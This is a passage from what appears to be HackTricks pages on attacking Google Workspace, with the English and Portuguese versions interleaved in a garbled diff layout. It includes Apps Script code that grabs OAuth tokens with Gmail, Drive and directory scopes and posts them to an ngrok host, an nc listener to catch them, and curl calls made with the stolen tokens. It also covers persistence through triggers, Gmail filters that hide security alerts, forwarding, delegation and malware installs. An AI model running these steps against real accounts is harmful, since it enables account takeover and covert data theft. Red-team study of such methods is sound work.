domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
// To ask for AdminDirectory permissions
|
||||
var pageToken = ""
|
||||
page = AdminDirectory.Users.list({
|
||||
domain: domain, // Use the extracted domain
|
||||
orderBy: "givenName",
|
||||
maxResults: 100,
|
||||
pageToken: pageToken,
|
||||
})
|
||||
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
// To ask for gmail permissions
|
||||
var threads = GmailApp.getInboxThreads(0, 10)
|
||||
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
// To ask for drive permissions
|
||||
var files = DriveApp.getFiles()
|
||||
}
|
||||
|
||||
function makePostRequest(data) {
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
var url = "http://5.tcp.eu.ngrok.io:12027"
|
||||
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
var options = {
|
||||
method: "post",
|
||||
contentType: "application/json",
|
||||
payload: JSON.stringify(data),
|
||||
}
|
||||
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
try {
|
||||
UrlFetchApp.fetch(url, options)
|
||||
} catch (e) {
|
||||
Logger.log("Error making POST request: " + e.toString())
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
To capture the request you can just run:
|
||||
|
||||
Para capturar a solicitação, você pode simplesmente executar:
|
||||
```bash
|
||||
ngrok tcp 4444
|
||||
nc -lv 4444 #macOS
|
||||
```
|
||||
|
||||
Permissions requested to execute the App Script:
|
||||
Permissões solicitadas para executar o App Script:
|
||||
|
||||
<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
|
||||
> Como uma solicitação externa é feita, o prompt do OAuth também **pedirá permissão para acessar endpoints externos**.
|
||||
|
||||
### Create Trigger
|
||||
### Criar Gatilho
|
||||
|
||||
Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
|
||||
Uma vez que o App é lido, clique em **⏰ Gatilhos** para criar um gatilho. Como **função** a ser executada, escolha **`getToken`**, execute na implantação **`Head`**, na fonte do evento selecione **`De planilha`** e no tipo de evento selecione **`Ao abrir`** ou **`Ao editar`** (de acordo com suas necessidades) e salve.
|
||||
|
||||
Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
|
||||
Observe que você pode verificar as **execuções dos App Scripts na aba Execuções** se quiser depurar algo.
|
||||
|
||||
### Sharing
|
||||
### Compartilhamento
|
||||
|
||||
In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
|
||||
Para **disparar** o **App Script**, a vítima precisa se conectar com **Acesso de Editor**.
|
||||
|
||||
> [!TIP]
|
||||
> The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
|
||||
> O **token** usado para executar o **App Script** será o do **criador do gatilho**, mesmo que o arquivo seja aberto como Editor por outros usuários.
|
||||
|
||||
### Abusing Shared With Me documents
|
||||
### Abusando de documentos Compartilhados Comigo
|
||||
|
||||
> [!CAUTION]
|
||||
> If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
|
||||
> Se alguém **compartilhou com você um documento com App Scripts e um gatilho usando o Head** do App Script (não uma implantação fixa), você pode modificar o código do App Script (adicionando, por exemplo, as funções de roubo de token), acessá-lo, e o **App Script será executado com as permissões do usuário que compartilhou o documento com você**! (note que o token OAuth dos proprietários terá como escopos de acesso os que foram dados quando o gatilho foi criado).
|
||||
>
|
||||
> A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
|
||||
> Uma **notificação será enviada ao criador do script indicando que alguém modificou o script** (Que tal usar permissões do gmail para gerar um filtro para prevenir o alerta?)
|
||||
|
||||
> [!TIP]
|
||||
> If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
|
||||
> Se um **atacante modificar os escopos do App Script**, as atualizações **não serão aplicadas** ao documento até que um **novo gatilho** com as mudanças seja criado. Portanto, um atacante não poderá roubar o token do proprietário criador com mais escopos do que o que ele definiu no gatilho que criou.
|
||||
|
||||
### Copying instead of sharing
|
||||
### Copiando em vez de compartilhar
|
||||
|
||||
When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
|
||||
Quando você cria um link para compartilhar um documento, um link semelhante a este é criado: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
|
||||
Se você **mudar** o final **"/edit"** para **"/copy"**, em vez de acessá-lo, o google perguntará se você deseja **gerar uma cópia do documento:**
|
||||
|
||||
<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
|
||||
Se o usuário copiá-lo e acessá-lo, tanto o **conteúdo do documento quanto os App Scripts serão copiados**, no entanto, os **gatilhos não são**, portanto **nada será executado**.
|
||||
|
||||
### Sharing as Web Application
|
||||
### Compartilhando como Aplicação Web
|
||||
|
||||
Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
|
||||
Observe que também é possível **compartilhar um App Script como uma aplicação Web** (no Editor do App Script, implantar como uma aplicação Web), mas um alerta como este aparecerá:
|
||||
|
||||
<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Followed by the **typical OAuth prompt asking** for the needed permissions.
|
||||
Seguido pelo **prompt típico do OAuth pedindo** as permissões necessárias.
|
||||
|
||||
### Testing
|
||||
|
||||
You can test a gathered token to list emails with:
|
||||
### Testando
|
||||
|
||||
Você pode testar um token coletado para listar emails com:
|
||||
```bash
|
||||
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
|
||||
-H "Authorization: Bearer <token>"
|
||||
```
|
||||
|
||||
List calendar of the user:
|
||||
|
||||
Liste o calendário do usuário:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
-H "Accept: application/json" \
|
||||
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
|
||||
```
|
||||
## App Script como Persistência
|
||||
|
||||
## App Script as Persistence
|
||||
Uma opção para persistência seria **criar um documento e adicionar um gatilho para a função getToken** e compartilhar o documento com o atacante para que toda vez que o atacante abrir o arquivo, ele **exfiltre o token da vítima.**
|
||||
|
||||
One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
|
||||
Também é possível criar um App Script e fazê-lo ser acionado a cada X tempo (como a cada minuto, hora, dia...). Um atacante que tenha **credenciais comprometidas ou uma sessão de uma vítima poderia definir um gatilho de tempo para o App Script e vazar um token OAuth muito privilegiado todos os dias**:
|
||||
|
||||
It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
|
||||
|
||||
Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
|
||||
Basta criar um App Script, ir para Gatilhos, clicar em Adicionar Gatilho e selecionar como fonte de evento Acionado pelo tempo e selecionar as opções que melhor se adequam a você:
|
||||
|
||||
<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> This will create a security alert email and a push message to your mobile alerting about this.
|
||||
> Isso criará um e-mail de alerta de segurança e uma mensagem de push para o seu celular alertando sobre isso.
|
||||
|
||||
### Shared Document Unverified Prompt Bypass
|
||||
### Bypass de Prompt Não Verificado de Documento Compartilhado
|
||||
|
||||
Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
|
||||
Além disso, se alguém **compartilhou** com você um documento com **acesso de editor**, você pode gerar **App Scripts dentro do documento** e o **PROPRIETÁRIO (criador) do documento será o proprietário do App Script**.
|
||||
|
||||
> [!WARNING]
|
||||
> This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
|
||||
> Isso significa que o **criador do documento aparecerá como criador de qualquer App Script** que qualquer pessoa com acesso de editor criar dentro dele.
|
||||
>
|
||||
> This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
|
||||
|
||||
> [!CAUTION]
|
||||
> This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
|
||||
> To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
> Isso também significa que o **App Script será confiável pelo ambiente do Workspace
|
||||
|
||||
@@ -1,186 +1,182 @@
|
||||
# GWS - Persistence
|
||||
# GWS - Persistência
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!CAUTION]
|
||||
> All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
|
||||
> Todas as ações mencionadas nesta seção que alteram configurações gerarão um **alerta de segurança para o e-mail e até uma notificação push para qualquer dispositivo móvel sincronizado** com a conta.
|
||||
|
||||
## **Persistence in Gmail**
|
||||
## **Persistência no Gmail**
|
||||
|
||||
- You can create **filters to hide** security notifications from Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
|
||||
- Você pode criar **filtros para ocultar** notificações de segurança do Google
|
||||
- `from: (no-reply@accounts.google.com) "Security Alert"`
|
||||
- Isso impedirá que e-mails de segurança cheguem ao e-mail (mas não impedirá notificações push para o celular)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Steps to create a gmail filter</summary>
|
||||
<summary>Passos para criar um filtro no gmail</summary>
|
||||
|
||||
(Instructions from [**here**](https://support.google.com/mail/answer/6579))
|
||||
(Instruções [**aqui**](https://support.google.com/mail/answer/6579))
|
||||
|
||||
1. Open [Gmail](https://mail.google.com/).
|
||||
2. In the search box at the top, click Show search options  .
|
||||
3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
|
||||
4. At the bottom of the search window, click **Create filter**.
|
||||
5. Choose what you’d like the filter to do.
|
||||
6. Click **Create filter**.
|
||||
1. Abra [Gmail](https://mail.google.com/).
|
||||
2. Na caixa de pesquisa na parte superior, clique em Mostrar opções de pesquisa .
|
||||
3. Insira seus critérios de pesquisa. Se você quiser verificar se sua pesquisa funcionou corretamente, veja quais e-mails aparecem clicando em **Pesquisar**.
|
||||
4. Na parte inferior da janela de pesquisa, clique em **Criar filtro**.
|
||||
5. Escolha o que você gostaria que o filtro fizesse.
|
||||
6. Clique em **Criar filtro**.
|
||||
|
||||
Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
Verifique seu filtro atual (para excluí-los) em [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../images/image (331).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
|
||||
- Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- The receiving address will need to confirm this
|
||||
- Then, set to forward all the emails while keeping a copy (remember to click on save changes):
|
||||
- Crie **um endereço de encaminhamento para encaminhar informações sensíveis** (ou tudo) - Você precisa de acesso manual.
|
||||
- Crie um endereço de encaminhamento em [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
|
||||
- O endereço de recebimento precisará confirmar isso
|
||||
- Em seguida, defina para encaminhar todos os e-mails enquanto mantém uma cópia (lembre-se de clicar em salvar alterações):
|
||||
|
||||
<figure><img src="../../images/image (332).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible create filters and forward only specific emails to the other email address.
|
||||
Também é possível criar filtros e encaminhar apenas e-mails específicos para o outro endereço de e-mail.
|
||||
|
||||
## App passwords
|
||||
## Senhas de aplicativo
|
||||
|
||||
If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
|
||||
Se você conseguiu **comprometer uma sessão de usuário do Google** e o usuário tinha **2FA**, você pode **gerar** uma [**senha de aplicativo**](https://support.google.com/accounts/answer/185833?hl=en) (siga o link para ver os passos). Observe que **senhas de aplicativo não são mais recomendadas pelo Google e são revogadas** quando o usuário **altera a senha da conta do Google.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to create an app password.**
|
||||
**Mesmo que você tenha uma sessão aberta, você precisará saber a senha do usuário para criar uma senha de aplicativo.**
|
||||
|
||||
> [!NOTE]
|
||||
> App passwords can **only be used with accounts that have 2-Step Verification** turned on.
|
||||
> Senhas de aplicativo podem **ser usadas apenas com contas que têm a Verificação em Duas Etapas** ativada.
|
||||
|
||||
## Change 2-FA and similar
|
||||
## Alterar 2-FA e similar
|
||||
|
||||
It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
|
||||
Também é possível **desativar 2-FA ou inscrever um novo dispositivo** (ou número de telefone) nesta página [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
|
||||
**Também é possível gerar chaves de acesso (adicionar seu próprio dispositivo), alterar a senha, adicionar números de celular para telefones de verificação e recuperação, alterar o e-mail de recuperação e mudar as perguntas de segurança).**
|
||||
|
||||
> [!CAUTION]
|
||||
> To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
|
||||
> Para **evitar que notificações push de segurança** cheguem ao telefone do usuário, você poderia **desconectar seu smartphone** (embora isso seja estranho) porque você não pode reconectá-lo novamente a partir daqui.
|
||||
>
|
||||
> It's also possible to **locate the device.**
|
||||
> Também é possível **localizar o dispositivo.**
|
||||
|
||||
**Even if you have an open session you will need to know the password of the user to change these settings.**
|
||||
**Mesmo que você tenha uma sessão aberta, você precisará saber a senha do usuário para alterar essas configurações.**
|
||||
|
||||
## Persistence via OAuth Apps
|
||||
## Persistência via Aplicativos OAuth
|
||||
|
||||
If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
|
||||
It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
|
||||
Se você **comprometeu a conta de um usuário**, você pode simplesmente **aceitar** conceder todas as permissões possíveis a um **Aplicativo OAuth**. O único problema é que o Workspace pode ser configurado para **não permitir aplicativos OAuth externos e/ou internos não revisados.**\
|
||||
É bastante comum que as Organizações do Workspace não confiem por padrão em aplicativos OAuth externos, mas confiem em internos, então, se você tiver **permissões suficientes para gerar um novo aplicativo OAuth** dentro da organização e aplicativos externos forem proibidos, gere-o e **use esse novo aplicativo OAuth interno para manter a persistência**.
|
||||
|
||||
Check the following page for more information about OAuth Apps:
|
||||
Verifique a página a seguir para mais informações sobre Aplicativos OAuth:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/
|
||||
{{#endref}}
|
||||
|
||||
## Persistence via delegation
|
||||
## Persistência via delegação
|
||||
|
||||
You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
|
||||
Você pode simplesmente **delegar a conta** para uma conta diferente controlada pelo atacante (se você tiver permissão para fazer isso). No **Workspace**, essa opção deve ser **ativada**. Pode ser desativada para todos, ativada para alguns usuários/grupos ou para todos (geralmente é ativada apenas para alguns usuários/grupos ou completamente desativada).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>If you are a Workspace admin check this to enable the feature</summary>
|
||||
<summary>Se você é um administrador do Workspace, verifique isso para ativar o recurso</summary>
|
||||
|
||||
(Information [copied form the docs](https://support.google.com/a/answer/7223765))
|
||||
(Informações [copiadas da documentação](https://support.google.com/a/answer/7223765))
|
||||
|
||||
As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
|
||||
Como administrador da sua organização (por exemplo, seu trabalho ou escola), você controla se os usuários podem delegar acesso à sua conta do Gmail. Você pode permitir que todos tenham a opção de delegar sua conta. Ou, apenas permitir que pessoas de certos departamentos configurem a delegação. Por exemplo, você pode:
|
||||
|
||||
- Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
|
||||
- Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
|
||||
- Adicionar um assistente administrativo como delegado em sua conta do Gmail para que ele possa ler e enviar e-mails em seu nome.
|
||||
- Adicionar um grupo, como seu departamento de vendas, em Grupos como delegado para dar a todos acesso a uma conta do Gmail.
|
||||
|
||||
Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
|
||||
Os usuários só podem delegar acesso a outro usuário na mesma organização, independentemente de seu domínio ou unidade organizacional.
|
||||
|
||||
#### Delegation limits & restrictions
|
||||
#### Limites e restrições de delegação
|
||||
|
||||
- **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
|
||||
- With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
|
||||
- Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
|
||||
- A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
|
||||
- Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
|
||||
- **Permitir que os usuários concedam acesso à sua caixa de entrada a um grupo do Google** opção: Para usar essa opção, ela deve ser ativada para a OU da conta delegada e para a OU de cada membro do grupo. Membros do grupo que pertencem a uma OU sem essa opção ativada não podem acessar a conta delegada.
|
||||
- Com o uso típico, 40 usuários delegados podem acessar uma conta do Gmail ao mesmo tempo. O uso acima da média por um ou mais delegados pode reduzir esse número.
|
||||
- Processos automatizados que acessam frequentemente o Gmail também podem reduzir o número de delegados que podem acessar uma conta ao mesmo tempo. Esses processos incluem APIs ou extensões de navegador que acessam o Gmail com frequência.
|
||||
- Uma única conta do Gmail suporta até 1.000 delegados únicos. Um grupo em Grupos conta como um delegado em relação ao limite.
|
||||
- A delegação não aumenta os limites para uma conta do Gmail. Contas do Gmail com usuários delegados têm os limites e políticas padrão da conta do Gmail. Para detalhes, visite [Limites e políticas do Gmail](https://support.google.com/a/topic/28609).
|
||||
|
||||
#### Step 1: Turn on Gmail delegation for your users
|
||||
#### Passo 1: Ativar a delegação do Gmail para seus usuários
|
||||
|
||||
**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
**Antes de começar:** Para aplicar a configuração a certos usuários, coloque suas contas em uma [unidade organizacional](https://support.google.com/a/topic/1227584).
|
||||
|
||||
1. [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
|
||||
1. [Faça login](https://admin.google.com/) no seu [console de administração do Google](https://support.google.com/a/answer/182076).
|
||||
|
||||
Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
|
||||
Faça login usando uma _conta de administrador_, não sua conta atual CarlosPolop@gmail.com
|
||||
|
||||
2. In the Admin console, go to Menu  **Apps****Google Workspace****Gmail****User settings**.
|
||||
3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
|
||||
4. Click **Mail delegation**.
|
||||
5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
|
||||
6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
|
||||
7. Select an option for the default sender information that's included in messages sent by delegates:
|
||||
- **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
|
||||
- **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
|
||||
8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
|
||||
9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
|
||||
10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
|
||||
2. No console de administração, vá para Menu  **Apps****Google Workspace****Gmail****Configurações do usuário**.
|
||||
3. Para aplicar a configuração a todos, deixe a unidade organizacional superior selecionada. Caso contrário, selecione uma [unidade organizacional](https://support.google.com/a/topic/1227584) filha.
|
||||
4. Clique em **Delegação de e-mail**.
|
||||
5. Marque a caixa **Permitir que os usuários deleguem acesso à sua caixa de entrada a outros usuários no domínio**.
|
||||
6. (Opcional) Para permitir que os usuários especifiquem quais informações do remetente estão incluídas nas mensagens delegadas enviadas de sua conta, marque a caixa **Permitir que os usuários personalizem esta configuração**.
|
||||
7. Selecione uma opção para as informações do remetente padrão que estão incluídas nas mensagens enviadas pelos delegados:
|
||||
- **Mostrar o proprietário da conta e o delegado que enviou o e-mail**—As mensagens incluem os endereços de e-mail do proprietário da conta do Gmail e do delegado.
|
||||
- **Mostrar apenas o proprietário da conta**—As mensagens incluem o endereço de e-mail apenas do proprietário da conta do Gmail. O endereço de e-mail do delegado não é incluído.
|
||||
8. (Opcional) Para permitir que os usuários adicionem um grupo em Grupos como delegado, marque a caixa **Permitir que os usuários concedam acesso à sua caixa de entrada a um grupo do Google**.
|
||||
9. Clique em **Salvar**. Se você configurou uma unidade organizacional filha, pode ser possível **Herdar** ou **Substituir** as configurações de uma unidade organizacional pai.
|
||||
10. (Opcional) Para ativar a delegação do Gmail para outras unidades organizacionais, repita os passos 3–9.
|
||||
|
||||
Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
|
||||
As mudanças podem levar até 24 horas, mas geralmente acontecem mais rapidamente. [Saiba mais](https://support.google.com/a/answer/7514107)
|
||||
|
||||
#### Step 2: Have users set up delegates for their accounts
|
||||
#### Passo 2: Faça os usuários configurarem delegados para suas contas
|
||||
|
||||
After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
|
||||
Depois de ativar a delegação, seus usuários vão para as configurações do Gmail para atribuir delegados. Os delegados podem então ler, enviar e receber mensagens em nome do usuário.
|
||||
|
||||
For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
|
||||
Para detalhes, direcione os usuários para [Delegar e colaborar em e-mail](https://support.google.com/a/users/answer/138350).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
|
||||
<summary>De um usuário regular, verifique aqui as instruções para tentar delegar seu acesso</summary>
|
||||
|
||||
(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
|
||||
(Info copiada [**da documentação**](https://support.google.com/mail/answer/138350))
|
||||
|
||||
You can add up to 10 delegates.
|
||||
Você pode adicionar até 10 delegados.
|
||||
|
||||
If you're using Gmail through your work, school, or other organization:
|
||||
Se você estiver usando o Gmail através do seu trabalho, escola ou outra organização:
|
||||
|
||||
- You can add up to 1000 delegates within your organization.
|
||||
- With typical use, 40 delegates can access a Gmail account at the same time.
|
||||
- If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
|
||||
- Você pode adicionar até 1000 delegados dentro da sua organização.
|
||||
- Com o uso típico, 40 delegados podem acessar uma conta do Gmail ao mesmo tempo.
|
||||
- Se você usar processos automatizados, como APIs ou extensões de navegador, alguns delegados podem acessar uma conta do Gmail ao mesmo tempo.
|
||||
|
||||
1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
|
||||
2. In the top right, click Settings   **See all settings**.
|
||||
3. Click the **Accounts and Import** or **Accounts** tab.
|
||||
4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
|
||||
- If you don't see Grant access to your account, then it's restricted.
|
||||
5. Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
|
||||
\
|
||||
**Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
|
||||
1. No seu computador, abra [Gmail](https://mail.google.com/). Você não pode adicionar delegados pelo aplicativo Gmail.
|
||||
2. No canto superior direito, clique em Configurações   **Ver todas as configurações**.
|
||||
3. Clique na aba **Contas e Importação** ou **Contas**.
|
||||
4. Na seção "Conceder acesso à sua conta", clique em **Adicionar outra conta**. Se você estiver usando o Gmail através do seu trabalho ou escola, sua organização pode restringir a delegação de e-mail. Se você não ver essa configuração, entre em contato com seu administrador.
|
||||
- Se você não ver Conceder acesso à sua conta, então está restrito.
|
||||
5. Insira o endereço de e-mail da pessoa que você deseja adicionar. Se você estiver usando o Gmail através do seu trabalho, escola ou outra organização, e seu administrador permitir, você pode inserir o endereço de e-mail de um grupo. Este grupo deve ter o mesmo domínio que sua organização. Membros externos do grupo são negados acesso à delegação.\
|
||||
\
|
||||
**Importante:** Se a conta que você delega é uma nova conta ou a senha foi redefinida, o administrador deve desativar a exigência de alterar a senha quando você fizer login pela primeira vez.
|
||||
|
||||
- [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
|
||||
- [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
|
||||
- [Saiba como um administrador pode criar um usuário](https://support.google.com/a/answer/33310).
|
||||
- [Saiba como um administrador pode redefinir senhas](https://support.google.com/a/answer/33319).
|
||||
|
||||
6\. Click **Next Step**  **Send email to grant access**.
|
||||
6. Clique em **Próximo passo**  **Enviar e-mail para conceder acesso**.
|
||||
|
||||
The person you added will get an email asking them to confirm. The invitation expires after a week.
|
||||
A pessoa que você adicionou receberá um e-mail pedindo para confirmar. O convite expira após uma semana.
|
||||
|
||||
If you added a group, all group members will become delegates without having to confirm.
|
||||
Se você adicionou um grupo, todos os membros do grupo se tornarão delegados sem precisar confirmar.
|
||||
|
||||
Note: It may take up to 24 hours for the delegation to start taking effect.
|
||||
Nota: Pode levar até 24 horas para que a delegação comece a ter efeito.
|
||||
|
||||
</details>
|
||||
|
||||
## Persistence via Android App
|
||||
## Persistência via Aplicativo Android
|
||||
|
||||
If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
|
||||
Se você tiver uma **sessão dentro da conta do Google da vítima**, pode navegar até a **Play Store** e pode ser capaz de **instalar malware** que você já carregou na loja diretamente **no telefone** para manter a persistência e acessar o telefone da vítima.
|
||||
|
||||
## **Persistence via** App Scripts
|
||||
## **Persistência via** Scripts de Aplicativo
|
||||
|
||||
You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
|
||||
Você pode criar **gatilhos baseados em tempo** em Scripts de Aplicativo, então, se o Script de Aplicativo for aceito pelo usuário, ele será **ativado** mesmo **sem o usuário acessá-lo**. Para mais informações sobre como fazer isso, verifique:
|
||||
|
||||
{{#ref}}
|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch e Beau Bullock - OK Google, Como faço para Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
